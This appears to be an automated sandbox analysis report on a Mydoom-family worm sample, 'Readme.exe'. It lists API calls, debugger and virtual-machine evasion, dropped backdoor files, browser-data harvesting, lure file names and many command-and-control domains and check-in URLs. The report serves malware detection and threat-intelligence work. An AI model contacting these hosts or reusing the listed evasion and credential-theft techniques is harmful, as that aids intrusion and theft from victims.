Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,		0_2_00403790
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,		1_2_00403790

Source: C:\Users\user\Desktop\Readme.exe	Thread delayed: delay time: 480000			Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Thread delayed: delay time: 480000			Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	API call chain: ExitProcess graph end node	graph_0-4434
Source: C:\Users\user\Desktop\Readme.exe	API call chain: ExitProcess graph end node	graph_0-4527
Source: C:\Windows\SysWOW64\smnss.exe	API call chain: ExitProcess graph end node	graph_1-3717
Source: C:\Windows\SysWOW64\smnss.exe	API call chain: ExitProcess graph end node	graph_1-4466
Source: C:\Windows\SysWOW64\smnss.exe	API call chain: ExitProcess graph end node	graph_1-3728
Source: C:\Windows\SysWOW64\smnss.exe	API call chain: ExitProcess graph end node	graph_1-3821

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\ActiveSync\LocalState\	Jump to behavior

Source: smnss.exe, 0000000A.00000002.304631149.0000000000401000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: vmware
Source: smnss.exe, 0000000A.00000002.304631149.0000000000401000.00000040.00000001.01000000.00000005.sdmp	Binary or memory string: rbhtmlhtmtxtxmldocpltbbSoftware\Microsoft\WAB\WAB4\Wab File Nametepbcl.qyyReadme.exefoto.pifFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\IrefvbafgngrzvqhfrehfonpgvikgbeeuswkcnfjpafwIHYanFuibyanFlfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprffStartPYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32k_fbpxf5nnauser32.dllfureinaf.qyypgszra.rkrSeDebugPrivilege%2.2x\virtualvmwareqemuvboxSYSTEM\ControlSet001\Services\Disk\Enum012ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvbatimerbjvavarg.qyyNTf2000fXpf2003fVIStafWinSUnk192.168.1.2vqhfretepbcl.qyyuser32.dllICQ 8.exeoffice_crack_all.exeWinrar 4.exeK-Lite Codec Pack 7.exeDivX 8.exeACDSee.exeWinamp 7.exeserials 2010.txt.execrack windows 7.execrack windows 8.exemy_passwords.exeFbsgjner\Xnmnn\GenafsreQyQve0\Fbsgjner\vZrfu\TrarenyQbjaybnqQvepgszra.rkrFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Ehauser32.dll
Source: smnss.exe, 00000001.00000000.530369399.0000000000938000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000001.00000000.529599887.0000000000938000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000001.00000002.540337485.0000000000938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\Readme.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep			graph_0-4496
Source: C:\Windows\SysWOW64\smnss.exe	Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep			graph_1-3790

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00404AB8 IsDebuggerPresent,

0_2_00404AB8

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00406E1C LoadLibraryA,GetProcAddress,FreeLibrary,DeleteFileA,Sleep,

0_2_00406E1C

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_004060AA DnsQuery_A,GetProcessHeap,RtlAllocateHeap,lstrcpy,GlobalFree,

0_2_004060AA

Source: C:\Windows\SysWOW64\smnss.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00401150 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	0_2_00401150
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00401149 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,	0_2_00401149
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00401150 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	1_2_00401150
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00401149 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	1_2_00401149
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 9_2_00401150 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	9_2_00401150
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 9_2_00401149 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,	9_2_00401149

Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe	Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00407C4E GetLocalTime,CreateThread,

0_2_00407C4E

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00405256 GetVersionExA,

0_2_00405256

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_10002020 xproxy_th@4,WSAStartup,socket,htons,rot13,Get_Reg_SZ,Get_Reg_SZ,rot13,rot13,bind,listen,accept,create_thread,closesocket,

0_2_10002020

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	Path Interception	1 Access Token Manipulation	121 Masquerading	1 OS Credential Dumping	11 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	241 Virtualization/Sandbox Evasion	1 Input Capture	351 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	2 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Software Packing	DCSync	3 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
Readme.exe	88%	ReversingLabs	Win32.Worm.Mydoom
Readme.exe	100%	Avira	TR/Proxy.Gen
Readme.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\ctfmen.exe	100%	Avira	TR/Crypt.ULPM.Gen
C:\Windows\SysWOW64\grcopy.dll	100%	Avira	TR/Proxy.Gen
C:\Windows\SysWOW64\smnss.exe	100%	Avira	TR/Proxy.Gen
C:\Windows\SysWOW64\shervans.dll	100%	Avira	BDS/Backdoor.Gen
C:\Windows\SysWOW64\satornas.dll	100%	Avira	HTML/ExpKit.Gen2
C:\Windows\SysWOW64\ctfmen.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\grcopy.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\zipfiaq.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\smnss.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\zipfi.dll	100%	Joe Sandbox ML
C:\Windows\SysWOW64\shervans.dll	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.3.smnss.exe.9f9148.28.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9fb5d0.26.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
7.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.24.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9f1ed0.13.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9b8ab8.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
4.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
4.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9bb100.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.3.smnss.exe.9f9148.27.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.0.smnss.exe.400000.6.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
8.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
3.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
3.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.22.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9baa30.10.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9baa30.11.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.3.smnss.exe.9f9148.25.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
4.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
9.2.ctfmen.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.0.smnss.exe.400000.4.unpack	100%	Avira	TR/Proxy.Gen	Download File
6.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.29.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9b8ab8.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
9.0.ctfmen.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
1.3.smnss.exe.9b8ab8.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
7.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
7.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
5.0.smnss.exe.400000.2.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.16.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
6.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File
7.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
2.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
0.0.Readme.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.19.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.Readme.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.3.smnss.exe.9f9146.17.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9f9148.18.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.21.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.smnss.exe.400000.0.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.3.smnss.exe.9f9148.20.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.smnss.exe.9f9148.23.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
4.0.smnss.exe.400000.3.unpack	100%	Avira	TR/Proxy.Gen	Download File
1.0.smnss.exe.400000.1.unpack	100%	Avira	TR/Proxy.Gen	Download File

Domains

Source	Detection	Scanner	Link
emrmmpsarh.ws	1%	Virustotal	Browse
aharwhphnh.com	12%	Virustotal	Browse
rrhaerswna.org	1%	Virustotal	Browse
qamaahmnen.info	1%	Virustotal	Browse
rrnpamehwa.org	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://aspamphaqh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
https://parking.bodiscdn.com	0%	URL Reputation	safe
http://eqprsrnprs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ennmqsmqna.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://reaaheeara.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://emhmmwaasa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://rrnpamehwa.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://wpqqhhspps.in/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aanparshnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ehrawpsrms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://emqewenpsh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://eqrrmhhwhh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://aharwhphnh.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aaawpshran.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://emnhnawmen.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ansenhrann.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://eshmhnprpa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://emrmmpsarh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://empewsqsqa.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aaesrmawah.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://eqsnewshhn.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://asnrrsamsa.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://aewrhprres.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://awhhsqness.com/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://erphseshhh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://rrhaerswna.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe
http://eqnhphnqms.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://rsrsemnren.org/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ehqapshmqs.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ehnwnaqnss.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	100%	Avira URL Cloud	malware
http://qamaahmnen.info/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
emrmmpsarh.ws	64.70.19.203	true	true	1%, Virustotal, Browse	unknown
aharwhphnh.com	81.17.18.196	true	true	12%, Virustotal, Browse	unknown
rrhaerswna.org	199.59.243.222	true	true	1%, Virustotal, Browse	unknown
alt3.gmail-smtp-in.l.google.com	142.250.150.27	true	false		high
qamaahmnen.info	72.5.161.12	true	true	1%, Virustotal, Browse	unknown
rrnpamehwa.org	199.59.243.222	true	true	1%, Virustotal, Browse	unknown
emnhnawmen.ws	64.70.19.203	true	true		unknown
mx1.riseup.net	198.252.153.129	true	false		high
awhhsqness.com	192.187.111.221	true	true		unknown
eshmhnprpa.ws	64.70.19.203	true	true		unknown
alt2.gmail-smtp-in.l.google.com	142.250.147.26	true	false		high
ennmqsmqna.ws	64.70.19.203	true	true		unknown
asnrrsamsa.com	81.17.18.196	true	true		unknown
alt1.aspmx.l.google.com	142.250.153.27	true	false		high
alt2.aspmx.l.google.com	142.250.147.26	true	false		high
alt4.gmail-smtp-in.l.google.com	74.125.200.26	true	false		high
mxs.mail.ru	217.69.139.150	true	false		high
eqprsrnprs.ws	64.70.19.203	true	true		unknown
eqsnewshhn.ws	64.70.19.203	true	true		unknown
gmail-smtp-in.l.google.com	74.125.140.27	true	false		high
aspmx2.googlemail.com	142.250.153.27	true	false		unknown
aspmx3.googlemail.com	142.250.147.26	true	false		unknown
rsrsemnren.org	81.17.29.146	true	true		unknown
alumni-caltech-edu.mail.protection.outlook.com	104.47.59.138	true	false		high
reaaheeara.org	199.59.243.222	true	true		unknown
ehrawpsrms.ws	64.70.19.203	true	true		unknown
aanparshnh.com	81.17.29.150	true	true		unknown
empewsqsqa.ws	64.70.19.203	true	true		unknown
wpqqhhspps.in	63.251.126.10	true	true		unknown
erphseshhh.ws	64.70.19.203	true	true		unknown
ansenhrann.com	199.59.243.222	true	true		unknown
gzip.org	85.187.148.2	true	false		unknown
ersaenrnwh.ws	64.70.19.203	true	true		unknown
emhmmwaasa.ws	64.70.19.203	true	true		unknown
emqewenpsh.ws	64.70.19.203	true	true		unknown
eqrrmhhwhh.ws	64.70.19.203	true	true		unknown
ehnwnaqnss.ws	64.70.19.203	true	true		unknown
eqnhphnqms.ws	64.70.19.203	true	true		unknown
aewrhprres.com	81.17.29.149	true	true		unknown
alt1.gmail-smtp-in.l.google.com	142.250.153.27	true	false		high
aaawpshran.com	192.187.111.221	true	true		unknown
eggs.gnu.org	209.51.188.92	true	false		high
aspamphaqh.com	81.17.29.147	true	true		unknown
ehqapshmqs.ws	64.70.19.203	true	true		unknown
aspmx.l.google.com	142.251.5.27	true	false		high
aaesrmawah.com	81.17.18.195	true	true		unknown
rrseshrqsn.org	unknown	unknown	true		unknown
hmrnphameh.net	unknown	unknown	true		unknown
hwhnrpesma.net	unknown	unknown	true		unknown
nqenrpwpeh.us	unknown	unknown	true		unknown
rqeaqsqpsr.org	unknown	unknown	true		unknown
wwaqpenhnn.in	unknown	unknown	true		unknown
pnaqheqnsa.in	unknown	unknown	true		unknown
mnpsepswhs.in	unknown	unknown	true		unknown
wnnqnrwqea.in	unknown	unknown	true		unknown
mpmhhhprnn.in	unknown	unknown	true		unknown
meseewppah.in	unknown	unknown	true		unknown
msqepwamwn.in	unknown	unknown	true		unknown
pweenawwra.in	unknown	unknown	true		unknown
haswmnsqah.net	unknown	unknown	true		unknown
rammaswpsh.org	unknown	unknown	true		unknown
nspseanhrs.us	unknown	unknown	true		unknown
apnssmrrqs.com	unknown	unknown	true		unknown
hharwnqhha.net	unknown	unknown	true		unknown
pmnrrneaah.in	unknown	unknown	true		unknown
whqrmqmnrs.in	unknown	unknown	true		unknown
hhwhmwmaws.net	unknown	unknown	true		unknown
mrwpmwnnra.in	unknown	unknown	true		unknown
reeahnpewn.org	unknown	unknown	true		unknown
sqmswpnqws.biz	unknown	unknown	true		unknown
hmqrapnpsh.net	unknown	unknown	true		unknown
wereqmsnwh.in	unknown	unknown	true		unknown
psqeppnaha.in	unknown	unknown	true		unknown
qshwspwhsn.info	unknown	unknown	true		unknown
nerrawwees.us	unknown	unknown	true		unknown
nwaahharmh.us	unknown	unknown	true		unknown
aeaqnwmhes.com	unknown	unknown	true		unknown
smrnnmaqra.biz	unknown	unknown	true		unknown
pwramqmsms.in	unknown	unknown	true		unknown
resmarqarn.org	unknown	unknown	true		unknown
hrwswapann.net	unknown	unknown	true		unknown
nwrrsharmn.us	unknown	unknown	true		unknown
mwhnpqrmrn.in	unknown	unknown	true		unknown
peerrrehen.in	unknown	unknown	true		unknown
aqmrnawpan.com	unknown	unknown	true		unknown
srsersmhsa.biz	unknown	unknown	true		unknown
sqmmqqssea.biz	unknown	unknown	true		unknown
aaqamerqwa.com	unknown	unknown	true		unknown
nrmwqewpnn.us	unknown	unknown	true		unknown
penpnnehwa.in	unknown	unknown	true		unknown
weeqshswms.in	unknown	unknown	true		unknown
wwnmhhenpa.in	unknown	unknown	true		unknown
nhseewhaps.us	unknown	unknown	true		unknown
qnhwpqaans.info	unknown	unknown	true		unknown
spmpesqama.biz	unknown	unknown	true		unknown
mail.ru	unknown	unknown	false		high
rnnnpannna.org	unknown	unknown	true		unknown
shprahaqrh.biz	unknown	unknown	true		unknown
